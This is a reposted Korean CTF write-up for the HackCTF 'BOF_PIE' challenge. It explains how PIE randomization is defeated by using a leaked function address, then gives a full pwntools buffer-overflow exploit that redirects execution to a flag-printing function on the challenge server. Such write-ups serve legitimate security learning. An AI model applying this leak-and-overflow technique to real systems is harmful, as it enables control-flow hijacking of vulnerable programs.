HackCTF BOF_PIE Write-Up
정적 분석
PIE(Position Independent Executable)이란 Memory Mitigation 기법 중 하나로 용어를 직역하자면 "위치에 의존하지 않고 실행 가능한 것" 으로 표현할 수 있습니다.
여기서 '위치에 의존하지 않음' 이란 쉽게 설명하자면 gdb를 통해 동적 debugging을 진행할 때 info functions
명령을 통해 사용되는 함수들의 시작 주소를 확인할 수 있습니다.
이렇게 구성되어 있을 경우 만약 해당 프로그램 내에 shell을 호출하거나 critical 한 함수가 존재할 경우 해당 주소로 흐름을 조작하는 것이 가능합니다.
이를 방지하기 위해 프로그램이 시작될 시 random 한 값을 생성하여 해당 값 + 함수의 offset
을 통해 함수의 주소를 재정의 하는 것입니다.
해당 프로그램에서는 flag를 출력해주는 함수가 존재하였으나 PIE로 인해 직접 주소를 지정하는 것은 불가능하였습니다.
Ghidra를 통해 decompile을 확인한 결과 runtime 동안 welcome 함수의 주소를 출력해주는 것을 확인할 수 있었습니다. 또한 출력 후에 buf에 입력을 받으며 overflow point 또한 존재하였기에 welcome 함수를 통해 random 값을 구한 뒤 이를 offset 통해 역산하여, flag를 출력해주는 함수로 조작하였습니다.
Exploit
#!/usr/bin/python3
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3008)
elf = ELF("./bof_pie")
flagOffset = elf.symbols['j0n9hyun']
welcomeOffset = elf.symbols['welcome']
p.recvuntil("j0n9hyun is ")
welcome = int(p.recvuntil("\n").decode('utf-8').strip("\n"), 16)
pie = welcome - welcomeOffset
flag = pie + flagOffset
log.info("Flag is Mapeed " + hex(flag))
padding = b"A"*0x16
payload = padding
payload += p32(flag)
p.sendline(payload)
p.recvline()
log.info(p.recvline().decode('utf-8'))
Author And Source
이 문제에 관하여(HackCTF BOF_PIE Write-Up), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://velog.io/@insp3ct0r_/HackCTF-BOFPIE-Write-Up저자 귀속: 원작자 정보가 원작자 URL에 포함되어 있으며 저작권은 원작자 소유입니다.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)